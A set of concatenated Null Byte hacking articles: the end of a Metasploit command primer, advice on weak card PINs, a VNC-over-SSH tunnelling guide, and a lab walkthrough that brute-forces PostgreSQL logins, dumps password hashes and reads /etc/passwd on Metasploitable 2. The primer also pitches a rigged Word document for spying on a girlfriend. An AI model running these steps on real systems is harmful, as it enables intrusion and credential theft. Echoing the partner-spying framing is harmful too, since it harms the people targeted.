URIPATH, etc.In the screenshot below from my tutorial onusing psexec to hack a system, we set RHOST, LHOST, SMBUser, and the SMBPass to hack the system without leaving a trace.5. BackWhen we are done working with a particular module or we chose the wrong module, we can use the "back" command to return to the msfconsole prompt.For instance, if we chose an exploit and then realized we chose the wrong one, we can simply type "back" and then use the "use" command (see next section) to select another module.6. UseWhen we have decided which exploit we want to use against our target system, we use the "use" command to load that exploit into memory and ready it to send to the target system. An example can be found in my tutorial onusing the Heartbleed vulnerabilityto grab information in memory from systems running OpenSSL.7. ExploitAfter choosing our exploit, setting all of our variables, and choosing our payload, the last thing we do is to type the "exploit" command. This launches the exploit against the target machine with the payload and any variables we might have set.An example of this can be found in my guide oncreating an exploit in an innocent-looking Word docand sending it to your girlfriend to see whether or not she is cheating.8. SessionsThe "sessions" command is used to list or set a session. When used with the-l (list) switch, it will list all open sessions. When used with a number ("sessions -1"), it tells Metasploit to activate the first session.Metasploit allows us to run multiple sessions on the same system or multiple sessions on multiple systems. Using the "sessions" command, we can find these open sessions and switch to or activate them.You can find an example of this in my guide oncreating an auto-reconnecting persistent backdooron the target system, as seen below.9. ExitWhen we want to leave the msfconsole, we can simply type "exit" to return to our Linux shell.This should provide you with a basic command set that will enable you to run just about any hack in Metasploit. Infuture tutorials, we will look at the types of payloads, advanced commands, using global variables, advanced Meterpreter techniques, and ultimately, developing our own exploit.Keep coming back, my rookie hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Mac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:How to Create Your Own PRISM-Like Spy ToolHack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)How To:Use Metasploit's Database to Stay Organized & Store Information While HackingNews:What to Expect from Null Byte in 2015Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker Training |
Most Credit Card PINs Are Easy to Crack—Here's How to Strengthen Yours « Null Byte :: WonderHowTo | You've probably noticed how we like tostresstheimportanceof astrong password. After all, there are still people out there who continue to use passwords like 123456 and even just "password". But passwords aren't the only barriers that protect your information.According to ablog post by Nick Berry, a former rocket scientist and current president ofData Genetics, there are 10,000 possible combinations for a 4-digit PIN using the numbers 0-9. And out of that myriad of possibilities, nearly 11% of all PINs being used are "1234". Surprised? No? I'm not surprised.So, if four-digit personal identification numbers were actuallybird species, that means that everybody preferssparrows, or simplySPAR, as their passcode.What's next in the list of common PIN codes? Pigeons. Which translates to "1111", of which over 6% use out of the 3.4 million PINs that Berry examined. Here are the other 20 most common PINs used:Out of the over 3 million PINs examined, nearly 27% of all them were one of the 20 above. Why these numbers? Well, "1234" and "0000" shouldn't be hard to figure out, but the code "1004" is actually one popular with Koreans, because the number sounds like the word for "angel", and the 22nd most popular (obviously not in the above chart) is "2580", which is a straight line down the middle of a telephone keypad.Image viaidownloadblog.comBerry also pointed out that 50% use one of the top 426 codes, and that the most uncommon PIN is "8068".So, what does this teach us? Use better PINs, because it's not only important for keeping thieves from stealing your dough from ATMs, but it's also very important forkeeping law enforcement out of your smartphone. How many of you actually use "2580" as your iPhone's passcode? Really? How about your voicemail PIN code? Yeah.So What Numbers Don't You Use?Don'tuse any patterns.Don'tuse any birth dates.Don'tuse any repeating digits.Don'tuse any years.Don'tuse the same PIN for your smartphone as your debit card.Don'tuse the most commonly unused PIN, "8068", because now everybody knows it.Don'tuse the last 4 digits of your social security number.Don'tuse the last 4 digits of your phone number.Don'tuse your address number.Don'tuse the PIN that came with your credit or debit card.Don'tuse the last four digits of you credit or debit card number.What PINs Do You Use Then?Douse four different digits that don't apply to any of the above.Dochange your PIN every month to keep hackers on their toes.If you want to see more details on Berry's analysis,check out his blog.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhotos bydicktay2000,redspottedRelatedHow To:MagSpoof Digitally Clones the Magnetic Stripe of Any Credit CardHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:PIN-Protect Photos, Log-in Credentials, Credit Card Info, Notes, & More with KeeplyHow To:Use BlackBerry Wallet to store personal informationHow To:No Jelly Bean for You? Motorola Offers Trade-In Program, Gives Credit for Newer Android 4.1 DevicesHow To:Get Unlimited Free Trials Using a "Real" Fake Credit Card NumberHow To:Lock and Unlock a SafeHow To:Flaw in Hilton's Rewards Program Allows You to Achieve Instant HHonors Gold Status for FreeHow To:The Hardware Hacker's Introduction to Microcontrollers, Part One: Anatomy of an ArduinoHow To:Remove your sim card out of your iPhoneHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Auto-Fill Credit Card Forms Using Your iPhone's Camera in iOS 8News:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Set Up & Use Apple Pay on Your Apple WatchHow To:Change Your Default Card for Apple Pay So You Never Have to Choose During CheckoutHow To:Protect Your Identity After the Equifax CyberattackNews:Here's Everything You Should Know About Samsung PayHow To:Pin Apps to the Multitasking View on Your Galaxy S9News:1.5 Million Credit Cards Hacked in the Global Payments Breach: Was Yours One of Them?How To:How Credit Card Algorithms Work: The Anatomy of Credit Card NumbersHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:Jason Mraz fans! Here ya go! Learn "I'm Yours"News:Advanced Cracking Techniques, Part 1: Custom DictionariesNews:The $2,400 Video CardNews:FarmVille Free Animal with Facebook Credits Farm Cash PurchaseHow To:Make Your Own USB Keylogger HardwareHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Exchange Gift Cards for Facebook CreditsHow To:Pick Basic Tumbler LocksSmartphone Challenge:Which Side Is Yours?!How To:5 Simple Ways to Cure Stinky BreathNews:LEGO Salt and Pepper ShakersHow To:7 Easy Mnemonic Tricks for Remembering NumbersHow To:Mine Bitcoin and Make MoneyHow To:Tell Whether a Credit Card Number Is Valid Just by Looking at ItHow To:Get Free Netflix for LifeNews:Ditch the Billfold, Grab an Android: Google Wallet Launches on Sprint's Nexus S 4G SmartphoneDeal Alert:Get a Free Wireless Charger from Samsung |
How to Remotely Control Computers Over VNC Securely with SSH « Null Byte :: WonderHowTo | VNCis a great protocol that you can use on Windows and Linux machines to remotely control computers. This is useful if you need to control your computer when away from home, help your grandma check her email, or help a client with a disk cleanup. VNC is secure in the sense that it requires authentication in order to make the connection, but after that, the data is sent over the internetunencrypted. This means that an attacker could sniff your traffic and snoop everything that's going on. They could even code a client to get a front row seat toexactlywhat goes on!SSH is a favorite at Null Byte for its multitude of uses, whichwe have previously covered. Today we're adding one more use to the list. We are going to tunnel our VNC traffic over SSH so that our traffic is safe and secure when making the dangerous journey across the internet.RequirementsLinux box with VNC installedAn SSH tunnel up and runningVNC Over SSHAll traffic is encrypted between these two machines using public key encryption techniques, making it difficult for attackers to sniff it. You can request that SSH listens on a particular port on your local machine, and forwards that down the secure connection to a port on a machine at the other end. We could use something similar to the following:ssh -L<local port>:localhost:<remote port> <machine IP>Roughly translated:Start an SSH connection to the remote computer and listen on portxon my machine, and forward any connections there to portyon the remote machine.The VNC protocol uses port 59xx, where xx is equal to the display number of the server. So, a VNC server on a Windows machine which normally uses display number0, will listen on port5900. Most Unix VNC servers will use display numbers 0, 1, 2 and so on by listening on ports 5901, 5902, etc. If you forward these ports to a remote machine, you can make the remote VNC server appear to be a server running on your local machine.So, imagine you had a VNC server running as$DISPLAY=1on a remote machine and you wanted a secure connection from your local machine. You could start the SSH session using this command:ssh -L 5902:localhost:5901<remote host>Any maps to$DISPLAY=2on your localhost would actually connect to display :1 on the remote host. Note that the above SSH command line is deliberately meant to accept incoming connections only from the local machine. This means that to use the SSH connection that we have just set up, we must connect to it from the same machine, using the special namelocalhost, rather than using the machine's own unique name. Instead of running vncviewer:vncviewer <remote host>:1You could run:vncviewer localhost:2The difference? The second example is over thesecureconnection.You could speed up the connection by compressing the data over the network, as well by appending the-Coption. No more sketchy VNC access. Don't do remote support with someone unless they have a method of securing your data over the network.Be a Part of Null Byte!Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viawiredRelatedHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Create an SSH tunnel for your Mac Mini serverHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Run Windows 7 on a Nokia n900 SmartphoneHow To:Remotely control an Apple Mac OS X computer over the Internet with VNCHow To:Bypass RealVNC authenticationHow To:Spy on SSH Sessions with SSHPry2.0How To:Browse securely with SSH and a SOCKS proxyHow To:Haunt a Computer with SSHHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Install VNC remotely on a Windows XP PCRasberry Pi:Connecting on ComputerHow To:SSH into your iPhone with USBHow To:Secure VNC and Apple Remote Desktop on your computerHack Like a Pro:How to Save the World from Nuclear AnnihilationHow To:SSH into your iPhone or iPod Touch using MacHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxRaspberry Pi:Physical Backdoor Part 1How To:SSH into a serverHow To:Set up SSH tunneling to securely transmit HTTP trafficHow To:Control iPhone/iPod Touch from a computerHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Setup VNC on your computer for your Mac Mini serverHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Access & Control Your Computer Remotely Using Your iPhoneHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:Monitor another computer screen with Real VNCHow To:Control an iPhone from a computerHow To:Create a Native SSH Server on Your Windows 10 SystemHow To:Access & Control Your Computer Remotely with Your Nexus 5How To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH |
How to Gather Information on PostgreSQL Databases with Metasploit « Null Byte :: WonderHowTo | Attacks against databases have become one of the most popular and lucrative activities for hackers recently. New data breaches seem to be popping up every week, but even with all of that attention, databases continue to be a prime target. All of these attacks have to start somewhere, and we'll be exploring a variety of methods to gather information onPostgreSQL databaseswith Metasploit.PostgreSQL is an open-sourcerelational database management system(RDBMS) that uses theSQL language, along with many other features, to handle a wide variety of data workloads. Initially developed for Unix, PostgreSQL runs on all major operating systems and is the default database formacOSServer.Don't Miss:How to Fingerprint Databases & Perform General ReconnaissancePostgreSQL is known for its extensibility, reliability, data integrity, strong architecture, and robust feature set, including the popular PostGIS geospatial database extender. It's alsoACID compliantand has a dedicated open-source community.For the most part, PostgreSQL conforms withSQL languagestandards, but some syntax and functions differ slightly. It's often used for heavy workloads, where concurrency and performance are a priority, and offersmodern securityand recovery features that are essential in enterprise environments. Overall, PostgreSQL is a fantastic RDBMS that's both flexible and extensible.Step 1: Use an Nmap ScanIn this guide, we're usingMetasploitable 2as the target andKali Linuxas the local machine. You can use the same or something similar.After getting the testing lab set up, we need to determine if the PostgreSQL service is running on the target. To do so, we can run anNmap scanon port 5432, which is usually the default port for PostgreSQL. Use the-pflag to specify the port and-sVto enable version detection:~# nmap -sV 10.10.0.50 -p 5432
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 11:41 CST
Nmap scan report for 10.10.0.50
Host is up (0.00064s latency).
PORT STATE SERVICE VERSION
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
MAC Address: 00:1D:09:55:B1:3B (Dell)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.71 secondsWe can see that the PostgreSQL service is open on the target and running version 8.3.0 – 8.3.7.On Amazon:Mastering PostgreSQL 12: Advanced Techniques to Build & Administer Scalable & Reliable PostgreSQL Database Applications, 3rd EditionStep 2: Get the Version InfoMetasploithas a number of modules that we can use to gather useful information about PostgreSQL databases. Fire it up by typingmsfconsolein theterminal.~# msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v5.0.87-dev ]
+ -- --=[ 2006 exploits - 1096 auxiliary - 343 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it with setg RHOSTS x.x.x.x
msf5 >Once it loads, we can use thesearchfunction to look for modules related to PostgreSQL:msf5 > search postgre
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/manageengine_pmp_privesc 2014-11-08 normal Yes ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
1 auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal No Ruby on Rails Devise Authentication Password Reset
2 auxiliary/admin/postgres/postgres_readfile normal No PostgreSQL Server Generic Query
3 auxiliary/admin/postgres/postgres_sql normal No PostgreSQL Server Generic Query
4 auxiliary/analyze/crack_databases normal No Password Cracker: Databases
5 auxiliary/analyze/jtr_postgres_fast normal No John the Ripper Postgres SQL Password Cracker
6 auxiliary/scanner/postgres/postgres_dbname_flag_injection normal Yes PostgreSQL Database Name Command Line Flag Injection
7 auxiliary/scanner/postgres/postgres_hashdump normal Yes Postgres Password Hashdump
8 auxiliary/scanner/postgres/postgres_login normal Yes PostgreSQL Login Utility
9 auxiliary/scanner/postgres/postgres_schemadump normal Yes Postgres Schema Dump
10 auxiliary/scanner/postgres/postgres_version normal Yes PostgreSQL Version Probe
11 auxiliary/server/capture/postgresql normal No Authentication Capture: PostgreSQL
12 exploit/linux/postgres/postgres_payload 2007-06-05 excellent Yes PostgreSQL for Linux Payload Execution
13 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
14 exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20 excellent Yes PostgreSQL COPY FROM PROGRAM Command Execution
15 exploit/multi/postgres/postgres_createlang 2016-01-01 good Yes PostgreSQL CREATE LANGUAGE Execution
16 exploit/windows/misc/manageengine_eventlog_analyzer_rce 2015-07-11 manual Yes ManageEngine EventLog Analyzer Remote Code Execution
17 exploit/windows/postgres/postgres_payload 2009-04-10 excellent Yes PostgreSQL for Microsoft Windows Payload Execution
18 post/linux/gather/enum_users_history normal No Linux Gather User HistoryThe first one we'll cover will give us some information about the running version. It never hurts to double-check since certain exploits will only work for certain versions. Load the module with theusecommand:msf5 > use auxiliary/scanner/postgres/postgres_versionNext, let's take a look at theoptionsto view the current settings:msf5 auxiliary(scanner/postgres/postgres_version) > options
Module options (auxiliary/scanner/postgres/postgres_version):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose outputWe can leave all the defaults for now, but we will need to set therhostsoption to the IP address of our target:msf5 auxiliary(scanner/postgres/postgres_version) > set rhosts 10.10.0.50
rhosts => 10.10.0.50Now all we have to do is run it; use theruncommand to kick it off:msf5 auxiliary(scanner/postgres/postgres_version) > run
[*] 10.10.0.50:5432 Postgres - Version PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedAnd we can see the version number is 8.3.1, which is a little more specific than whatNmapreturned.Step 3: Brute-Force the LoginThe next module we'll look at will attempt tobrute-forcethe login to the PostgreSQL database using alist of default usernames and passwords. Load it with the use command:msf5 > use auxiliary/scanner/postgres/postgres_loginLet's take a look at this modules' options:msf5 auxiliary(scanner/postgres/postgres_login) > options
Module options (auxiliary/scanner/postgres/postgres_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DATABASE template1 yes The database to authenticate against
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RETURN_ROWSET true no Set to true to see query result sets
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt no File containing (space-separated) users and passwords, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attemptsThis one has a few more options we can mess with, but for now, the defaults will work. Just set the remote hosts option again, and we should be good to go:msf5 auxiliary(scanner/postgres/postgres_login) > set rhosts 10.10.0.50
rhosts => 10.10.0.50Now we can launch the module:msf5 auxiliary(scanner/postgres/postgres_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 10.10.0.50:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 10.10.0.50:5432 - Login Successful: postgres:postgres@template1
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedWe can see it go through each username and password combination, most of which fail, but we are left with one successful login.Step 4: Run SQL QueriesWe can runSQL queriesright from another Metasploit module instead of logging into the database directly. Load the module:msf5 > use auxiliary/admin/postgres/postgres_sqlAnd take a look at the options:msf5 auxiliary(admin/postgres/postgres_sql) > options
Module options (auxiliary/admin/postgres/postgres_sql):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RETURN_ROWSET true no Set to true to see query result sets
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
SQL select version() no The SQL query to execute
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose outputInstead of setting the remote hosts option each time, we can use thesetgcommand to set the option globally. This means it will remain set when we switch to other modules unless we change it again.msf5 auxiliary(admin/postgres/postgres_sql) > setg rhosts 10.10.0.50
rhosts => 10.10.0.50The default query for this module is set to select the version of the database — let's see what that looks like:msf5 auxiliary(admin/postgres/postgres_sql) > run
[*] Running module against 10.10.0.50
Query Text: 'select version()'
==============================
version
-------
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Auxiliary module execution completedBut we can set this option to any valid SQL code we want. For instance, the following query will return the username and password of the current user:SELECT usename, passwd FROM pg_shadow;Let's set the option to this now:msf5 auxiliary(admin/postgres/postgres_sql) > set sql select usename, passwd from pg_shadow
sql => select usename, passwd from pg_shadowAnd run the module again:msf5 auxiliary(admin/postgres/postgres_sql) > run
[*] Running module against 10.10.0.50
Query Text: 'select usename, passwd from pg_shadow'
===================================================
usename passwd
------- ------
postgres md53175bce1d3201d16594cebf9d7eb3f9d
[*] Auxiliary module execution completedNow we can see the username and password hash of the current user.Step 5: Dump the HashesMetasploit also has a module that will quickly dump anypassword hashesin the database for us. Load it up:msf5 > use auxiliary/scanner/postgres/postgres_hashdumpAnd view the options:msf5 auxiliary(scanner/postgres/postgres_hashdump) > options
Module options (auxiliary/scanner/postgres/postgres_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE postgres yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS 10.10.0.50 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME postgres yes The username to authenticate asEverything looks good at this point, and since we already set the remote host earlier, all we have to do is run it:msf5 auxiliary(scanner/postgres/postgres_hashdump) > run
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================
Username Hash
-------- ----
postgres md53175bce1d3201d16594cebf9d7eb3f9d
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedWe can see the query runs successfully and returns the password hash.Step 6: Dump Schema InfoThe next module we'll cover will attempt to dump any schema information it can find about the database. This can be useful to get a broad picture of all the databases, tables, and settings in use. Load the module:msf5 > use auxiliary/scanner/postgres/postgres_schemadumpAnd check the options:msf5 auxiliary(scanner/postgres/postgres_schemadump) > options
Module options (auxiliary/scanner/postgres/postgres_schemadump):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE postgres yes The database to authenticate against
DISPLAY_RESULTS true yes Display the Results to the Screen
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS 10.10.0.50 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME postgres yes The username to authenticate asWe can leave the defaults and launch the module:msf5 auxiliary(scanner/postgres/postgres_schemadump) > run
[+] Postgres SQL Server Schema
Host: 10.10.0.50
Port: 5432
====================
--- []
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedWe can see that it didn't return anything, but it's worth a shot to try and gather data like this forreconnaissance.Step 7: Read the System FilesWe can also use Metasploit to readsystem filesvia the PostgreSQL database. Load the module:msf5 > use auxiliary/admin/postgres/postgres_readfileAnd take a look at the options:msf5 auxiliary(admin/postgres/postgres_readfile) > options
Module options (auxiliary/admin/postgres/postgres_readfile):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RFILE /etc/passwd yes The remote file
RHOSTS 10.10.0.50 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose outputThe default remote file to read is set to/etc/passwd, which will work for now. Let's kick it off:msf5 auxiliary(admin/postgres/postgres_readfile) > run
[*] Running module against 10.10.0.50
Query Text: 'CREATE TEMP TABLE hoieZbLAeCQ (INPUT TEXT);
COPY hoieZbLAeCQ FROM '/etc/passwd';
SELECT * FROM hoieZbLAeCQ'
====================================================================================================================================
input
-----
backup:x:34:34:backup:/var/backups:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
bind:x:105:113::/var/cache/bind:/bin/false
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
distccd:x:111:65534::/:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
games:x:5:60:games:/usr/games:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
klog:x:103:104::/home/klog:/bin/false
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
news:x:9:9:news:/var/spool/news:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
postfix:x:106:115::/var/spool/postfix:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
proftpd:x:113:65534::/var/run/proftpd:/bin/false
proxy:x:13:13:proxy:/bin:/bin/sh
root:x:0:0:root:/root:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
statd:x:114:65534::/var/lib/nfs:/bin/false
sync:x:4:65534:sync:/bin:/bin/sync
sys:x:3:3:sys:/dev:/bin/sh
syslog:x:102:103::/home/syslog:/bin/false
telnetd:x:112:120::/nonexistent:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
